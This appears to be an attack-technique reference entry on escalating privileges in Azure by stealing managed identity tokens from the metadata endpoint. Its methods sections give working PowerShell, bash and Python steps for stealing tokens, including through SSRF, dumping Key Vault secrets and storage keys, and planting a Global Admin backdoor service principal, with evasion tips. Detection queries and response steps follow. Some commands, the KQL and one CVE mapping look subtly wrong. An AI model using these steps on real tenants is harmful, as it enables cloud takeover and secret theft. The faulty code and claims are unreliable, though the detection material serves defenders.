MCADDF

[PE-VALID-011]: Managed Identity MSI Escalation

Metadata

Attribute Details
Technique ID PE-VALID-011
MITRE ATT&CK v18.1 T1078.004 - Valid Accounts: Cloud Accounts
Tactic Privilege Escalation
Platforms Entra ID
Severity Critical
CVE CVE-2023-28432, CVE-2024-38124, CVE-2025-24054 (related IMDS/SSRF vulnerabilities)
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions All Azure subscriptions, all Azure resource types with managed identities (VMs, Functions, Logic Apps, Automation, AKS, etc.)
Patched In N/A (Architectural design; mitigated via IMDS hardening and endpoint protections)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Azure Managed Identities (formerly called Managed Service Identities or MSI) are cloud-native identities assigned to Azure resources (VMs, Function Apps, Logic Apps, AKS nodes, etc.) to enable those resources to authenticate to other Azure services without managing explicit credentials. When a resource with a managed identity makes an API request to Azure services, it first requests an OAuth2 access token from the Azure Instance Metadata Service (IMDS) at the well-known endpoint http://169.254.169.254/metadata/identity/oauth2/token. An attacker who gains command execution or access to a resource with an assigned managed identity can query this IMDS endpoint to steal the identity’s access token, then use the token to authenticate as the managed identity and access all Azure resources within the identity’s assigned scope. If the managed identity has been assigned high-privilege roles (Owner, Contributor, User Access Administrator) at the subscription or management group level—a common misconfiguration—the attacker can escalate their privileges from limited access to complete infrastructure compromise, including the ability to create backdoors, modify RBAC, access Key Vaults, or pivot to Entra ID Global Admin status.

Attack Surface: Azure Instance Metadata Service (IMDS) endpoint (169.254.169.254:80), managed identity token cache, Azure resource configuration (VMs, Functions, Automation Accounts), Web application vulnerabilities (SSRF, RCE) on resources with managed identities.

Business Impact: Complete compromise of Azure subscriptions and potentially Entra ID tenant. A stolen managed identity token grants the attacker all permissions assigned to that identity. If the identity has Owner role on a subscription, the attacker can: delete all resources, extract all secrets from Key Vaults, modify RBAC to create permanent backdoors, access databases and storage accounts, deploy malware via automation runbooks, or escalate to Entra ID Global Administrator by leveraging cross-tenant service principals.

Technical Context: Managed identity token theft occurs with minimal logging (IMDS requests are not logged by default). A single stolen token from an overprivileged managed identity can compromise an entire subscription. Exploitation can occur within seconds of gaining access to a resource. The attack is reversible (disabling the managed identity), but by then secondary backdoor credentials are typically established.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.2.5 Ensure that privileged identities are subject to MFA (not applicable to MSI, but applies to humans using stolen tokens)
DISA STIG AC-2(1) Account Management – Enforce privileged access management for all identities
CISA SCuBA IA-2.2 Require multi-factor authentication for authenticating any individual to an information system or device
NIST 800-53 AC-3 Access Enforcement – Enforce approved authorizations
GDPR Art. 32(1)(a) Implement appropriate technical measures for data security
DORA Art. 9 Protection and Prevention of ICT incidents
NIS2 Art. 21(1)(a) Risk Management for cyber security
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27005 Risk Scenario Unauthorized access to cloud resources via identity theft

3. TECHNICAL PREREQUISITES

Supported Versions:

Required Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Step 1: Enumerate All Managed Identities in a Subscription

# Connect to Azure
Connect-AzAccount

# List all system-assigned managed identities (via VMs, Functions, etc.)
Get-AzVM | Where-Object { $_.Identity } | Select-Object -Property Name, Identity

# List all user-assigned managed identities
Get-AzUserAssignedIdentity | Select-Object -Property Name, Id, PrincipalId

# For each managed identity, check assigned RBAC roles
$identities = Get-AzUserAssignedIdentity
foreach ($identity in $identities) {
    Write-Host "Identity: $($identity.Name)"
    Get-AzRoleAssignment -ObjectId $identity.PrincipalId | Select-Object -Property RoleDefinitionName, Scope
}

What to Look For:

Step 2: Identify Resources with Managed Identities

# Find all VMs with managed identities
Get-AzVM | Where-Object { $_.Identity -ne $null } | Select-Object -Property Name, ResourceGroupName, @{Name='IdentityType'; Expression={$_.Identity.Type}}

# Find all Function Apps with managed identities
Get-AzFunctionApp | Where-Object { $_.Identity } | Select-Object -Property Name, @{Name='ManagedIdentity'; Expression={$_.Identity.PrincipalId}}

# Find all Logic Apps with managed identities
Get-AzLogicApp | Where-Object { $_.Identity } | Select-Object -Property Name, @{Name='IdentityType'; Expression={$_.Identity.Type}}

# Find all Automation Accounts with managed identities
Get-AzAutomationAccount | Where-Object { $_.Identity } | Select-Object -Property Name, @{Name='IdentityId'; Expression={$_.Identity.PrincipalId}}

What to Look For:

Step 3: Check IMDS Endpoint Accessibility (from Azure Resource)

# This command should be executed FROM an Azure resource (VM, Function App, etc.)
# It queries the IMDS endpoint to retrieve the managed identity's access token

$token = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" `
  -Headers @{Metadata="true"} `
  -UseBasicParsing | ConvertFrom-Json

Write-Host "Managed Identity Token Retrieved:"
Write-Host "Access Token: $($token.access_token.Substring(0,50))..."  # Display first 50 chars only
Write-Host "Token Type: $($token.token_type)"
Write-Host "Expires In: $($token.expires_in) seconds"

What to Look For:

Linux/Bash / CLI Reconnaissance

Step 1: Enumerate Managed Identities via Azure CLI (from Azure Resource)

# Query IMDS to get the managed identity's access token
TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" | jq -r '.access_token')

# Use the token to authenticate to Azure CLI
az login --use-device-code --allow-no-subscriptions

# Alternatively, set the token as environment variable
export AZURE_ACCESS_TOKEN=$TOKEN

# List resources accessible to this managed identity
az resource list --output table

What to Look For:

Step 2: Identify Subscription and Role Information

# Get subscription information
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" | jq '.access_token' | \
  base64 -d | jq '.' | grep -E "sub|tid|scp"

# Expected output shows:
# sub: object ID of the managed identity
# tid: tenant ID
# scp: scopes/permissions (e.g., "Reader.ReadWrite.All" or full wildcard "*")

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Direct IMDS Token Theft from Compromised Azure VM or Function App

Supported Versions: All Azure resources with managed identities

Step 1: Establish Command Execution on Azure Resource

Objective: Gain shell access or code execution capability on a resource with a managed identity.

Execution Scenarios:

Step 2: Query IMDS Endpoint to Retrieve Access Token

Objective: Retrieve the managed identity’s OAuth2 access token from IMDS.

Command (PowerShell):

# Retrieve the access token for the managed identity
$token = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" `
  -Headers @{Metadata="true"} `
  -UseBasicParsing | ConvertFrom-Json

$accessToken = $token.access_token
Write-Host "Access Token Retrieved: $($accessToken.Substring(0,50))..."

# Decode the JWT to inspect claims
$jwtParts = $accessToken.Split('.')
$payloadJson = [System.Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($jwtParts[1] + '=='))
$payload = $payloadJson | ConvertFrom-Json

Write-Host "Token Claims:"
Write-Host "  Subject (sub): $($payload.sub)"
Write-Host "  Tenant ID (tid): $($payload.tid)"
Write-Host "  Scopes (scp): $($payload.scp)"

Expected Output:

Access Token Retrieved: eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1Njc4OTAiLCJ0eXAiOiJKV1QifQ...
Token Claims:
  Subject (sub): 11111111-1111-1111-1111-111111111111
  Tenant ID (tid): 22222222-2222-2222-2222-222222222222
  Scopes (scp): Reader Contributor User.ReadWrite.All

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Authenticate to Azure Using Stolen Token

Objective: Use the stolen token to authenticate to Azure and execute operations as the managed identity.

Command (PowerShell):

# Create an Azure credential object from the access token
$credential = [Microsoft.Azure.Commands.Common.Authentication.AzureCredential]::new()
$credential.CopyFrom([Microsoft.Azure.Commands.Common.Authentication.AzureCredential]::new())

# Alternative: Connect using the access token directly
Connect-AzAccount -AccessToken $accessToken -AccountId $payload.sub -Tenant $payload.tid

# Verify connection
Get-AzContext

# Expected output shows the managed identity is connected

Expected Output:

Name                          Subscription                  Tenant                       Environment
----                          ----                          ------                       -----------
<identity-object-id>          <subscription-id>             <tenant-id>                  AzureCloud

What This Means:

Step 4: Enumerate and Access Resources with the Stolen Identity

Objective: Use the stolen identity to access all Azure resources within its scope.

Command (PowerShell):

# List all accessible resources
Get-AzResource | Select-Object -Property Name, ResourceType, ResourceGroupName

# List Key Vaults accessible to this identity
Get-AzKeyVault | Select-Object -Property VaultName, ResourceGroupName

# If the identity has Key Vault access, dump all secrets
foreach ($vault in Get-AzKeyVault) {
    Write-Host "Dumping secrets from $($vault.VaultName):"
    Get-AzKeyVaultSecret -VaultName $vault.VaultName -WarningAction SilentlyContinue | ForEach-Object {
        $secret = Get-AzKeyVaultSecret -VaultName $vault.VaultName -Name $_.Name
        Write-Host "  Secret: $($_.Name) = $($secret.SecretValue | ConvertFrom-SecureString -AsPlainText)"
    }
}

# List storage accounts and access blobs/tables
Get-AzStorageAccount | ForEach-Object {
    Write-Host "Storage Account: $($_.StorageAccountName)"
    $keys = Get-AzStorageAccountKey -ResourceGroupName $_.ResourceGroupName -Name $_.StorageAccountName
    Write-Host "  Storage Key: $($keys[0].Value)"
}

Expected Output (If Owner Role):

Name                       ResourceType                               ResourceGroupName
----                       ----                                       ------------------
MyDatabase                 Microsoft.Sql/servers/databases            MyResourceGroup
MyVirtualMachine           Microsoft.Compute/virtualMachines          MyResourceGroup
MyKeyVault                 Microsoft.KeyVault/vaults                  MyResourceGroup

Dumping secrets from MyKeyVault:
  Secret: database-password = P@ssw0rd123!
  Secret: api-key = sk-abc123...

Storage Account: mystorageacct
  Storage Key: DefaultEndpointsProtocol=https;AccountName=mystorageacct;...

What This Means:


METHOD 2: SSRF Exploitation to Steal Managed Identity Token from Web Application

Supported Versions: All web applications hosted on Azure resources with managed identities (Function Apps, App Services, Logic Apps, etc.)

Step 1: Identify SSRF Vulnerability in Web Application

Objective: Find a Server-Side Request Forgery (SSRF) vulnerability in an Azure-hosted web application.

Common Vulnerable Patterns:

Testing (Example):

Request:
GET /?url=http://example.com/file HTTP/1.1

Response:
[Contents of example.com fetched server-side]

Vulnerability Confirmation:

Request:
GET /?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/ HTTP/1.1

Response (if vulnerable):
{"access_token": "eyJhbGciOiJSUzI1Ni...", "expires_in": 3600, ...}

Step 2: Exploit SSRF to Query IMDS Endpoint

Objective: Use the SSRF vulnerability to retrieve the managed identity’s access token.

Command (HTTP Request):

GET /?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/ HTTP/1.1
Host: vulnerable-app.azurewebsites.net

# Response will include the access token
{"access_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1Njc4OTAiLCJ0eXAiOiJKV1QifQ...", "expires_in": 3600}

Command (Python):

import requests
import json

# Target application with SSRF vulnerability
target_url = "http://vulnerable-app.azurewebsites.net/?url="

# IMDS endpoint to query
imds_url = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/"

# Exploit SSRF to fetch IMDS
response = requests.get(target_url + imds_url, headers={"Metadata": "true"})

if response.status_code == 200:
    token_data = response.json()
    access_token = token_data['access_token']
    print(f"[+] Token stolen: {access_token[:50]}...")
else:
    print(f"[-] Failed: {response.status_code}")

Expected Output:

[+] Token stolen: eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1Njc4OTAiLCJ0eXAiOiJKV1QifQ...

OpSec & Evasion:

Step 3: Use Stolen Token to Escalate Privileges

Objective: Use the token to access Azure resources and escalate privileges.

Command (curl from external attacker machine):

# Use the stolen token to authenticate to Azure REST API
TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1Njc4OTAiLCJ0eXAiOiJKV1QifQ..."

# List subscriptions accessible to this identity
curl -X GET "https://management.azure.com/subscriptions?api-version=2020-01-01" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json"

# If the identity has Owner role, enumerate all resources
SUBSCRIPTION_ID="12345678-1234-1234-1234-123456789012"
curl -X GET "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resources?api-version=2021-04-01" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json"

# Extract secrets from Key Vault
VAULT_NAME="MyVault"
curl -X GET "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.0" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json"

Expected Output (Resource List):

{
  "value": [
    {
      "id": "/subscriptions/12345678.../resourceGroups/MyGroup/providers/Microsoft.Compute/virtualMachines/MyVM",
      "name": "MyVM",
      "type": "Microsoft.Compute/virtualMachines"
    },
    ...
  ]
}

What This Means:


METHOD 3: Privilege Escalation from Overprivileged Managed Identity to Entra ID Global Admin

Supported Versions: All Azure environments with Entra ID integration

Step 1: Steal Token from Managed Identity with Subscription Owner Role

Objective: Obtain access token from a managed identity that has Owner role on a subscription.

Prerequisites:

Command (PowerShell):

# Retrieve token (from the compromised resource)
$token = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" `
  -Headers @{Metadata="true"} `
  -UseBasicParsing | ConvertFrom-Json

$accessToken = $token.access_token

# Authenticate as the owner-level managed identity
Connect-AzAccount -AccessToken $accessToken -Tenant (jq -r '.tid' <<< $token)

Step 2: Create a Backdoor Service Principal with Entra ID Admin Permissions

Objective: Create a service principal that has global admin permissions in Entra ID.

Command (PowerShell - must be executed with Owner-level identity):

# Create an application in Entra ID (requires Application.Create permission)
$app = New-AzADApplication -DisplayName "BackdoorApp" -AvailableToOtherTenants $false

Write-Host "Application Created: $($app.Id)"

# Create a service principal for the application
$sp = New-AzADServicePrincipal -ApplicationId $app.AppId -DisplayName "BackdoorSP"

Write-Host "Service Principal Created: $($sp.Id)"

# Add a credential to the service principal (certificate or password)
$credential = New-AzADServicePrincipalCredential -ObjectId $sp.Id

Write-Host "Credential Created: $($credential.KeyId)"
Write-Host "Credential Secret: $($credential.SecretText)"  # Save this for later use

# Assign Global Administrator role to the service principal
# Note: This requires elevated permissions (typically Global Admin or Privileged Role Administrator)
$roleDefinition = Get-AzRoleDefinition -Name "Global Administrator"
New-AzRoleAssignment -ObjectId $sp.Id -RoleDefinitionId $roleDefinition.Id -Scope "/"

Write-Host "Global Administrator role assigned to service principal"

Expected Output:

Application Created: 11111111-1111-1111-1111-111111111111
Service Principal Created: 22222222-2222-2222-2222-222222222222
Credential Created: 33333333-3333-3333-3333-333333333333
Credential Secret: 1a2b3c4d5e6f7g8h9i0j...
Global Administrator role assigned to service principal

What This Means:

OpSec & Evasion:

Step 3: Maintain Persistent Access via Stolen Service Principal Credentials

Objective: Use the backdoor service principal to maintain long-term access to the tenant.

Command (From external attacker machine):

# Install AzureAD module
Install-Module -Name AzureAD -Force

# Authenticate as the backdoor service principal
$credential = New-Object System.Management.Automation.PSCredential(
  "11111111-1111-1111-1111-111111111111",
  (ConvertTo-SecureString "1a2b3c4d5e6f7g8h9i0j..." -AsPlainText -Force)
)

Connect-AzureAD -Credential $credential -TenantId "22222222-2222-2222-2222-222222222222"

# Verify Global Admin permissions
Get-AzureADDirectoryRole | Where-Object { $_.DisplayName -eq "Global Administrator" }

# Now the attacker has full Entra ID access
# Can enumerate users, modify policies, create additional backdoors, etc.
Get-AzureADUser | Select-Object -Property DisplayName, UserPrincipalName

Expected Output:

ObjectId                             Name
--------                             ----
11111111-1111-1111-1111-111111111111 Global Administrator

DisplayName            UserPrincipalName
-----------            -----------------
Admin User             admin@company.com
Backup Admin           backupadmin@company.com
[Service Principal - Attacker can now impersonate these users]

6. ATTACK SIMULATION & VERIFICATION

This technique does not map to Atomic Red Team due to cloud-native token-based nature. Verification can be achieved through:

  1. Test Environment Setup:
    • Deploy an Azure VM or Function App with a managed identity assigned
    • Assign the managed identity an elevated role (Contributor or Owner)
    • Execute the commands in Method 1 to verify token retrieval
  2. Detection Verification:
    • Deploy Sentinel rules to detect IMDS access patterns
    • Execute token theft and monitor for alerts
    • Verify that role changes and service principal creation trigger alerts

7. TOOLS & COMMANDS REFERENCE

Az PowerShell Module

Official Documentation: Azure PowerShell Managed Identity

Version: 9.0+ (Latest: 11.x)

Key Commands for Managed Identity Exploitation:

Get-AzUserAssignedIdentity                    # List all UAMI
Get-AzVM | Where-Object { $_.Identity }       # Find VMs with MSI
Get-AzRoleAssignment -ObjectId "<IDENTITY_ID>"  # Check identity's roles
Connect-AzAccount -AccessToken $token         # Authenticate using stolen token

MicroBurst

Repository: NetSPI/MicroBurst

Version: Latest (PowerShell module)

Installation:

Import-Module .\MicroBurst.psm1

Key Commands:

Get-AzureAuthToken                            # Retrieve auth token from IMDS
Invoke-AzureManagedIdentityRoleEnumeration    # Enumerate managed identity roles
Find-AzureServicePrincipalPermissions         # Find overprivileged service principals

ROADTools

Repository: dirkjanm/ROADtools

Installation:

pip3 install roadtools

Key Commands:

roadrecon auth -u "<user@domain.com>" -p "<password>"   # Authenticate
roadrecon gather                                         # Gather Entra ID data
roadrecon query --filter "servicePrincipals"             # Find service principals

8. MICROSOFT SENTINEL DETECTION

Query 1: Suspicious IMDS Access Patterns

Rule Configuration:

KQL Query:

// Detect unusual IMDS access patterns or token requests
let IMDSRequests = AzureActivity
| where tostring(parse_json(tostring(json_parse(tostring(Properties)))).requests[0].requestUri) contains "169.254.169.254"
    or tostring(parse_json(tostring(json_parse(tostring(Properties)))).requests[0].requestUri) contains "/metadata/identity/oauth2/token"
| where TimeGenerated > ago(24h);

let SuspiciousPatterns = IMDSRequests
| where CallerIpAddress !in ("127.0.0.1", "169.254.169.254")  // IMDS should only be accessed from localhost or metadata service
| where OperationName !in ("List", "Get")  // Normal operations
| summarize Count = count(), Callers = make_set(CallerIpAddress) by TimeGenerated, ResourceType
| where Count >= 5;  // Alert if more than 5 suspicious IMDS requests

SuspiciousPatterns

What This Detects:

Query 2: Managed Identity Token Used for Unusual API Calls

Rule Configuration:

KQL Query:

// Detect when a managed identity makes API calls it normally doesn't make
let ManagedIdentityTokens = AzureActivity
| where Identity contains "msi" or Caller contains "msi"
| distinct Identity, ResourceType;

let UnusualOperations = AzureActivity
| where Identity in (ManagedIdentityTokens) 
    and (OperationName == "Create role assignment" 
         or OperationName == "Delete role definition"
         or OperationName == "Create service principal"
         or OperationName == "Update application")
| summarize Count = count(), Operations = make_set(OperationName) by Identity, TimeGenerated
| where Count >= 1;  // Alert on any suspicious operation

UnusualOperations

What This Detects:

Query 3: Service Principal Creation with Entra ID Admin Role

Rule Configuration:

KQL Query:

// Detect when a service principal is assigned Global Administrator or other privileged Entra ID roles
AuditLogs
| where OperationName == "Add role assignment"
    and TargetResources[0].type == "ServicePrincipal"
    and (TargetResources has "Global Administrator" 
         or TargetResources has "Privileged Role Administrator"
         or TargetResources has "Application Administrator")
| extend ServicePrincipalName = TargetResources[0].displayName
| extend InitiatedByUser = tostring(InitiatedBy.user.userPrincipalName)
| summarize by TimeGenerated, ServicePrincipalName, InitiatedByUser, TargetResources

What This Detects:


9. WINDOWS EVENT LOG MONITORING

N/A - This is a cloud-native attack with no local Windows event log artifacts. Detection occurs exclusively in Azure Activity Log and Entra ID audit logs.


10. MICROSOFT DEFENDER FOR CLOUD

Alert: Suspicious Service Principal Activity

Alert Name: Suspicious service principal activity detected

Severity: Critical

Description: A service principal made an unusual API request (such as RBAC modification, application creation, or domain manipulation) that is inconsistent with its normal behavior.

Applies To: All Azure subscriptions with Defender for Cloud enabled

Remediation:

  1. Navigate to Azure PortalMicrosoft Defender for CloudSecurity alerts
  2. Click on the alert to see details
  3. Verify legitimacy:
    • Is this service principal expected to perform this operation?
    • Did it occur outside normal maintenance windows?
  4. If malicious:
    • Disable the service principal: Disable-AzureADServicePrincipal -ObjectId <ID>
    • Revoke all credentials: Remove-AzADServicePrincipalCredential -ObjectId <ID>
    • Audit all actions performed: Review Activity Log for the past 7 days
    • Restore from backup if necessary

11. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Service Principal and Role Assignment Changes

# Search for service principal creation
Search-UnifiedAuditLog -Operations "Add service principal", "Add application", "Add role assignment" `
  -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
  Select-Object @{n='User';e={$_.UserIds}}, @{n='Operation';e={$_.Operations}}, `
  @{n='Timestamp';e={$_.CreationDate}}, @{n='Details';e={$_.AuditData}} |
  Export-Csv -Path "C:\Incident\service_principal_changes.csv"

12. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH


13. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Immediately disable the compromised managed identity
    • Revoke all active access tokens
    • Remove the managed identity from all resources

    Command (PowerShell):

    # Get the compromised MSI
    $msi = Get-AzUserAssignedIdentity -Name "CompromisedMSI"
       
    # Remove all role assignments
    Get-AzRoleAssignment -ObjectId $msi.PrincipalId | Remove-AzRoleAssignment
       
    # Remove from all resources it's attached to
    Get-AzVM | Where-Object { $_.Identity.UserAssignedIdentities.Keys -contains $msi.Id } | ForEach-Object {
      Update-AzVM -ResourceGroupName $_.ResourceGroupName -VM $_
    }
    
  2. Collect Evidence:
    • Export Azure Activity Log for past 7-30 days
    • Export Entra ID audit logs
    • Extract any new service principals or applications created

    Command (PowerShell):

    # Export activity log
    Get-AzLog -StartTime (Get-Date).AddDays(-30) | Export-Csv -Path "C:\Incident\activity_log_30days.csv"
    
  3. Remediate:
    • Delete any backdoor service principals or applications
    • Reset all user and application credentials
    • Reimage affected Azure resources
    • Deploy clean managed identities with least privilege

    Command:

    # Remove backdoor applications
    Get-AzADApplication -DisplayName "BackdoorApp" | Remove-AzADApplication
       
    # Remove backdoor service principals
    Get-AzADServicePrincipal -DisplayName "BackdoorSP" | Remove-AzADServicePrincipal
    

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse Attacker deploys malicious logic app or finds vulnerable existing one
2 Privilege Escalation [PE-VALID-011] Steal managed identity token via IMDS or SSRF
3 Privilege Escalation [PE-ACCTMGMT-001] App Registration Permissions Escalation Escalate to service principal with higher permissions
4 Persistence [PE-ACCTMGMT-014] Global Administrator Backdoor Create Global Admin service principal for long-term access
5 Data Exfiltration [CA-UNSC-007] Azure Key Vault Secret Extraction Dump all tenant secrets via stolen identity
6 Impact Complete tenant compromise Full control of Azure subscriptions and Entra ID

15. REAL-WORLD EXAMPLES

Example 1: Praetorian - Azure VM Privilege Escalation (2025)

Example 2: Cyngular - Pass-the-Token via Managed Identity (2025)

Example 3: BeyondTrust - “Evil VM” Device Identity Abuse (2025)


16. COMPLIANCE & REGULATORY CONTEXT

This technique directly violates:

Organizations must enforce least privilege, monitor IMDS access, and audit managed identity usage to maintain compliance.


17. REFERENCES & AUTHORITATIVE SOURCES

  1. Microsoft: Azure Managed Identities Documentation
  2. Microsoft: Instance Metadata Service (IMDS) Documentation
  3. Praetorian: Azure VM Privilege Escalation
  4. Cyngular: Pass-the-Token Attacks in Azure
  5. NetSPI: Managed Identity Privilege Escalation
  6. Orca Security: SSRF in Azure Services
  7. BeyondTrust: “Evil VM” Attack Chain
  8. Checkpoint: Privilege Escalation in Azure
  9. MITRE ATT&CK: T1078.004 Valid Accounts - Cloud Accounts
  10. HackingTheCloud: Abusing Managed Identities